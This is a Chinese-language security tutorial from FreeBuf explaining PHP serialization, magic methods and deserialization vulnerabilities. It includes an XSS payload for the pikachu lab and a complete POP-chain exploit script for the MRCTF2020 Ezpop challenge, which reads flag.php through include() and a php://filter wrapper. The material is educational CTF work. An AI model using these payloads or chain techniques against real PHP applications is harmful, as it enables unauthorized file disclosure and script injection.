freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Web安全 -- PHP反序列化
2022-01-12 21:05:01

序列化与反序列化

何为序列化

序列化是将对象转换为字节流,在序列化期间,对象将当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象状态,重新创建该对象,序列化的目的是便于对象在内存、文件、数据库或者网络之间传递。

在PHP中序列化所用的函数为

serialize()

语法

string serialize ( mixed $value )

参数说明:

  • $value: 要序列化的对象或数组。

返回值

返回一个字符串。

实例

<?php
    class Test{
        public $name = "admin";
        public $password = "admin";
    }

    $ser = new Test();
    echo serialize($ser);
?>

输出结果为:

O:4:"Test":2:{s:4:"name";s:5:"admin";s:8:"password";s:5:"admin";}

序列化后的字符串组成格式

image.png

序列化后数据类型的表示

a - array 数组型
b - boolean 布尔型
d - double 浮点型
i - integer 整数型
o - common object 共同对象
r - objec reference 对象引用
s - non-escaped binary string 非转义的二进制字符串
S - escaped binary string 转义的二进制字符串
C - custom object 自定义对象
O - class 对象
N - null 空
R - pointer reference 指针引用
U - unicode string Unicode 编码的字符串

序列化过程中变量改变

private属性序列化的时候格式是 %00类名%00成员名 如testname (test->类名name->成员名)

protected属性序列化的时候格式是 %00*%00成员名 如*name (name->成员名)

即,当private/protected属性序列化时会添加两个不可见的字符%00

通过打印序列化后的字符串时两个%00已经丢失

实例

<?php
    class Test{
        private $name = "admin";
        protected $password = "admin";
    }

    $ser = new Test();
    echo serialize($ser);
?>

输出结果

O:4:"Test":2:{s:10:"Testname";s:5:"admin";s:11:"*password";s:5:"admin";}

可以发现无论是Testname还是*password的长度,都比自身要长2,这个二就是两个%00

所以为了防止这种情况,输出的时候进行URL编码

echo urlencode(serialize($ser));

何为反序列化

反序列化即为序列化的逆过程,将字节流转换为对象的过程即为反序列化,通常是程序将内存、文件、数据库或者网络传递的字节流还原成对象

在PHP中反序列化所用到的函数为

unserialize()

语法

mixed unserialize ( string $str )

参数说明:

  • $str: 序列化后的字符串。

返回值

返回的是转换之后的值,可为 integer、float、string、array 或 object。

如果传递的字符串不可解序列化,则返回 FALSE,并产生一个 E_NOTICE。

实例

<?php
$str = 'a:3:{i:0;s:6:"Google";i:1;s:6:"Runoob";i:2;s:8:"Facebook";}';
$unserialized_data = unserialize($str);
print_r($unserialized_data);
?>

输出结果为:

Array
(
    [0] => Google
    [1] => Runoob
    [2] => Facebook
)

魔术方法

在利用反序列化漏洞时多会用到魔术方法,魔术方法是语言中保留的方法名,各个方法会在对应操作时自动调用

php中的魔术方法

参考文章:PHP: 魔术方法 - Manual

__construct

构建对象的时被调用,一般用于初始化对象,对变量赋初值;

__destruct

明确销毁对象或脚本结束时被调用;

__get

用于读取不可访问或不存在属性

__set

用于给不可访问或不存在属性赋值

__isset

对不可访问或不存在的属性调用isset()或empty()时被调用

__unset

对不可访问或不存在的属性进行unset()时被调用

__call

在对象上下文中调用不可访问或不存在的方法时被调用

__callStatic

在静态上下文中调用不可访问或不存在的静态方法时被调用

__sleep

使用serialize时自动被调用,当不需要保存大对象的所有数据时很有用

__wakeup

当使用unserialize()时自动被调用,可用于做些对象的初始化操作

当反序列化字符串中,表示属性个数的值大于其真实值,则跳过__wakeup()执行。

__clone

进行对象clone()时被调用,用来调整对象的克隆行为

__toString

当一个类被转换成字符串时被调用

__invoke

当以函数方式调用对象时被调用

__set_state

当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。

__debuginfo

当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本

__autoload()

尝试加载未定义的类

反序列化漏洞实例

以pikachu靶场为例image.png

image.png

观看源代码:

class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}

//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }
}

发现__construct()函数,说明在创建对象时就会自动调用echo $this->test;

将以下类进行序列化

class S{
    var $test = "攻击语句,如()";
    function __construct(){
        echo $this->test;
    }
}

得到语句:

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

运行

image.png

POP链

从上面的介绍可以知道,反序列化的漏洞是以控制魔术方法为出发点,通过魔术方法来达到攻击的目的,但是很多时候很难直接通过魔术方法找到可以攻击的点,所以就需要寻找相同函数名将类的属性和敏感函数的属性联系起来,这就是POP链

直接看例子

实例

MRCTF2020Ezpop

这是一道代码审计题,进入网页后可以直接看到源码

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>

";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

首先查看输入点,在index.php的get方法传入的pop中

在查看每一个类对应的魔术方法是否可以利用

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

__invoke为把对象以函数方式调用时就会触发__invoke魔术方法,同时另一个普通方法append里面有一个include,也是可以利用的

Show函数中也有三个魔术方法,但是没有什么可以利用的点

再看Test

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

重点落在__get,return $function(),和之前的__invoke结合就是一个利用链,所以当前目标就变为了如何触发__get(),当访问一个不可访问或者不存在的成员变量就可以触发__get()

但是这两个类都没有可以直接利用的点,想利用__invoke就要先利用__get,然而__get需要访问不存在的的成员变量才可以触发,然而无论Test里面的哪个方法都没有访问到不存在的成员变量

这是再看一下Show类

在__toSteing方法可以看到return $this->str->source;,如果让str = Test(),那么就会访问Test->source,这时就会触发__get,然而触发__toString为把类转换为字符串,这在__wakeup中的if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source))实现,同时__wakeup在反序列化时会自动调用,所以我们要把$this->source设置为Show类的实例化对象

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>

";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

所以pop链:

Show类(__construct)-->Show类(__wakeup)-->Show类(__toString)-->Test类(__get)-->Modifier类(__invoke)

首先先实例化show

$a = new Show();

然后再把Test的实例化对象赋值给a->str

$a->str = new Test();

为了触发__invoke所以要把Modifier的实例化对象赋值给a->str->p

$a->str->p = new Modifier();

最后要把a赋值给$this->source

$b = new Show($a);

完整代码

<?php
    class Modifier {
        protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
    }

    class Show{
        public $source;
        public $str;
        public function __construct($file){
            $this->source = $file;
        }
    }

    class Test{
        public $p;
    }

    $a = new Show();
    $a->str = new Test();
    $a->str->p = new Modifier();
    $b = new Show($a);

    echo urlencode(serialize($b));
?>

本文作者:, 转载请注明来自FreeBuf.COM

# web安全 # php # CTF # 反序列化
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按热度排序

登录/注册后在FreeBuf发布内容哦

相关推荐
\
  • 0 文章数
  • 0 评论数
  • 0 关注者
文章目录
登录 / 注册后在FreeBuf发布内容哦
收入专辑